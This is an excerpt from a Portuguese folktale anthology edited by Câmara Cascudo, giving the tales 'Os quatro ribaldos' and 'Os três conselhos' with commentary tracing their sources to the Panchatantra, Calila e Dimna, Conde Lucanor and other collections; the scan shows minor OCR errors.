OS QUATRO RIBALDOS
HUM Rústico aldeano matou hum carneyro e es folouo e levava-o aas cosias pera o vender en o mercado. E falaronse quatro ribaldos que estivessem em quatro lugares en a carreyra per hu avia de hir aquelle aideaão, e que cada hum lhe dissesse que aquel carneyro era cam, por tal que o deitasse de ssy, e que o ouvessem elles. E quando o aideaão passou per hu estava o primeiro ribaldo disse-lhe:
— Pera que levais assy esse cã? Respondeu o aldeaão:
— Irmaão, nom sabes o que dizees, ca certamente carneyro he e nom cam.
E o Ribaldo aperfiou com elle que era cam. E asy o fezerom os outros tres ribaldos. E o aideaão veendo esto disse antre sy:
— Eu cuidava que esto era carneyro; mas poyê todos dizem que he cam,, nom hei que faça dele, e lançou o carneiro em terra e foy-se. E os Ribaldos tomaram-no.
E bem assy communalmente todo o mundo falia mentirosamente.
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Cópia de Teófilo "Contos Tradicionais etc", n.° 138, IIo volume, do "Orto do Sposo", manuscrito da antiga Livraria de Alcolmen, do Krei Hermenegildo de Tancos, cimélio do século XIV.
Conheci no Brasil essa historia ligada ao ciclo de Pedro Malazarte, figurando no meu "Contos Tradicionais do Brasil". A fonte mais antiga é o "Pantchatantra", no episódio "O Brâmane e os ladrões", tradução de Lancereau p. 225, Paris, 1871. Repete-se no "Hitopadexa" tradução portuguesa de monsenhor Sebastião Rodolfo Delgado, (fábula IX, p. 245 e 250, Lisboa, 1897), o "Brâmane, o carneiro e os gatu nos. "Era uma vez um brâmane do bosque d Gautama, que tinha começado um sacrifício. E como êle fosse comprar um carneiro a uma al deia vizinha, enquanto voltava transportando-: sobre os hombros, viram-no três gatunos. "Se conseguíssemos, discorreram então os gatunos entre si, apoderarmo-nos daquele carneiro por alguma manha, seria grande subtileza de engenho; e foram postar-se na estrada ao pé de três árvores, à distancia de um kroxa, (distância quási equivalente a uma légua) aguardando a passagem do brâmane. Quando este passava, perguntou-lhe um dos gatunos: — "O’ brâmane, como é que levas um cão aos hombros?" "Este não é cão, respondeu o brâmane, mas é um carneiro para sacrifício". Logo depois disse-lhe também o mesmo o outro gatuno que estava mais adiante. Assim que o brâmane ouviu as palavras, pôs o carneiro na terra, examinou-o repetidas vezes, tomou-o de novo sobre os hombros e prosseguiu o caminho com o espírito vacilante. Depois que o brâmane ouviu o que dizia o terceiro gatuno, convencido de que estava em erro, largou o carneiro, fez as abluções e voltou para sua casa. E os gatunos levaram o carneiro e o comeram."
A origem será o "Calila é Dymna", na versão espanhola por ordem do Infante D. Alfonso, no século XIII. "Calila é Dymna" é uma reunião de lendas da índia, que o persa Barzúyeh traduziu em pehlvi e Abdallah Ibn Almokaffa
para o árabe. A versão castelhana é do texto árabe. Não parece, cronologicamente, possível ter Frei Hermenegildo de Tancos escrito sua adaptação portuguesa dos "quatro ribaldos" através de outra versão do "Calina e Dina", o "Di-rectorium humamie vitae", da edição latina de João de Capua (anterior a 1480).
Straparola, "Xlll Piacevoli Notte", Iª, fábula III, a regista como um dos episódios de Scarpacifico. (Edição de 1584, Venetia).
Fonte: Os melhores contos Populares de Portugal. Org. de Câmara Cascudo. Dois Mundos Editora.
OS TRÊS CONSELHOS
Diz que era uma vez um homem muito trabalhador e que por mais que fizesse não vencia o necessário para manter a família. Deixando a mulher a esperar um filhinho, saiu pelo mundo procurando melhorar a sorte.
Foi parar a uma cidade onde havia um velho dono de grande propriedade. O homem ficou trabalhando no campo, anos e anos, sem que fizesse as contas ou pedisse dinheiro. Tendo passado uns vinte anos, foi ao velho e disse que queria voltar para sua terra e que lhe desse o pagamento.
Respondeu o velho: Muito bem me serviste e quero que leves daqui toda satisfação. ‘Queres dinheiro que se gasta ou três conselhos que valem por toda a vida?
— Sem dinheiro vim e sem dinheiro vou — respondeu o homem: —venham de lá os conselhos.
O velho arranjou-lhe a matalotagem e ensinou: Aqui estão os três conselhos devidos. Primeiro e que nunca deixes estrada real por atalho. Segundo é que não pares em casa de homem ancião casado com mulher moça. Terceiro é que jamais te fies-nas aparências. Este pão é um regalo meu e só o deves abrir em casa, na hora da ceia. Deus te acompanhe.
Pôs-se o homem a caminho e já ia longe quando encontrou outro viajante e juntos foram conversando, para desparecer a fadiga. Ao cair da tarde o companheiro, vendo que havia uma encruzilhada, propôs tomassem pelo atalho, encurtando em muito a caminhada. O nosso homem não quis aceitar o convite, lembrado, do primeiro conselho do velho amo. Seguiu pela estrada real e o companheiro tomou pelo atalho.
Noite fechada chegou a uma pousada, pediu que comer e ao ser servido reparou que o dono da casa era casado com moça nova e formosa. Pagou a ceia e, ao sair, viu o companheiro que vinha todo rasgado e ferido, tendo sido assaltado e despojado por uns ladrões que se acoitavam justamente no atalho.
— Lá me serviu o conselho do amo — pensou o nosso homem, e como não esquecera o segundo, pôs-se a caminho, indo dormir a um palheiro bem longe do albergue. Pela manhã soube que haviam morto ao velho dono e roubado seu ouro, andando o povo em busca dos culpados.
— Bem certo me dizia o amo, disse o homem, continuando jornada. Quando finalmente entrou na sua aldeia e procurou sua casa, viu logo sua mulher ralando com um padre. O padre era novo e bonito e estava muito agradado, rindo e abraçando a mulher. O homem pensou em matar a ambos, pelo falso que lhe faziam e à lei de Deus mas, tendo na mente o último conselho do velho amo, aproximou-se e pediu pousada na própria casa. Deram-lha com alegria, água para lavar-se e convidaram-no a cear. Estando todos na refeição, perguntou o homem à mulher, que não o reconhecera, se era casada ou viúva.
— Sou casada mas não sei novas do meu marido há uns vinte anos, Foi procurar a vida, deixando-me a esperar filho, que. é este ministro de Deus. E’ o nosso pároco aqui e vivemos bem…
— Razão tinha o amo, pensou o homem, levantou-se e deu-se a conhecer, havendo muitas lá grimas de alegria. O homem então retirou o pão do alforge e cortou-o. Estava cheio de moedas de ouro. Viveram todos muito felizes.
Antônio Portel, português do Porto, nosso jardineiro, foi grande contador de histórias na minha mocidade. Viveu alguns anos em nossa casa, no Natal, inexgotável de facécias e casos chistosos que me deliciavam. Fiel às tradiçõee do serão em sua terra, todas as noites demorava-se na cozinha conversando. Fui parte entusiástica do seu auditório familiar, guardando histórias bonitas, narradas com o vocabulário e prosódia típicos, gesticulação ampla e entona ções correspondentes aos personagens evocados Viajou para o norte do Brasil, não mais mandando notícias. Deixo aqui uma homenagem ao Antônio Portel, lembrando, com saudade, sua voz pausada: — Ora vamos lá… Diz que era uma vez…
E’ um dos contos antigos e amados na península ibérica. Da origem oriental atesta o livro do "Conde Lucanor", de dom João Manuel, século XV, onde (Exemplo XXXVI) um mercador compra um conselho: -— "quando ficardes em cólera, querendo agir inconsideradamente, demorai até o conhecimento da verdade". O mercador, entrando de súbito em casa, toma o filho por um amante da mulher; não o mata porque recorda o conselho do vendedor de "sesos", evidenciando, a tempo, quanto se enganara. Gonçalo Fernandes Trancoso utilizou-se da historieta, dando forma literária e com outros conselhos, "Histórias de Proveito e Exemplo", XVIII. Teófilo Braga cita versões no "Pa-tranuelo" de Timoneda, contemporâneo a Trancoso, no "Gesta Romano rum" (redação do século XIV). Pitré recolheu uma variante, "Li tri rigordi", com seis outras na Itália, "Fiabe Novelle e raccontti popolari Sicilian!", Ill, p. 391. Na Espanha, além da versão quinhentista de Timoneda, aparece na coleçfto catalã do "Ron-dallayre" de Maspons y Labros, "Los tres con-cells de Salomo" e Aurelio M. Espinosa colheu outras, em Ávila, Cuenca, Santander "Los tres consejos", números 63 a 66′ do 1." volume do "Cuentos Populares Españoles", figurando em todos o não abandonar a estrada pelo atalho, dis-creção e prudencia. A recomendação de não pousar onde marido ou mulher fosse velho, aparece apenas numa versão de Rio Tuerto, em Santander. Estão estes elementos fixados no "Motif-Index" do prof. Stith Thompson, J 21.1 ("Do not act when angry". Man returns home and sees someone sleeping with his wife. Though he thinks it is a paramour, he restrains himself and finds that it is a newborn son); J 21.3 ("Do not go where an old man has a young wife", Discovers a murder in an inn); J 21.5, ("Do not leave the highway", encounters robbers), com bibliografía. Teófilo Braga regista uma versão do Porto ("Contas Tradicionais etc", n.° 100), de origem popular, concordante com a de Antônio Portel, italianas e espanholas e fiéis ao tema que se divulgou mais intensamente. A forma de Trancoso não é, pelo exposto, a vulgar. Sílvio Romero, XLIX, "Contos Populares do Brasil", regista a versão brasileira de Sergipe, "Os três conselhos". (C. CASCUDO)
Fonte: Os melhores contos Populares de Portugal. Org. de Câmara Cascudo. Dois Mundos Editora.
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